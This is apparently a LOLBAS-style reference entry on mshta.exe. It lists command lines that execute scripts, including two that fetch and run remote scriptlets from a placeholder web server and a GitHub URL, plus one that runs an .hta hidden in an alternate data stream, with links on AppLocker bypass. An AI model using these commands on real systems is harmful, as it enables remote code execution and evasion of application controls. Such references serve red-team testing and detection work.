## mshta.exe * Functions: Execute, Read ADS ``` mshta.exe evilfile.hta Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript. mshta.exe vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")")) Executes VBScript supplied as a command line argument. mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close(); Executes JavaScript supplied as a command line argument. mshta.exe "C:\ads\file.txt:file.hta" Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript. ``` * Resources: * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Mshta.md * https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4 * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct * https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/ * https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/ * Full path: * C:\Windows\System32\mshta.exe * C:\Windows\SysWOW64\mshta.exe * Notes: Thanks to Casey Smith - @subtee, Oddvar Moe - @oddvarmoe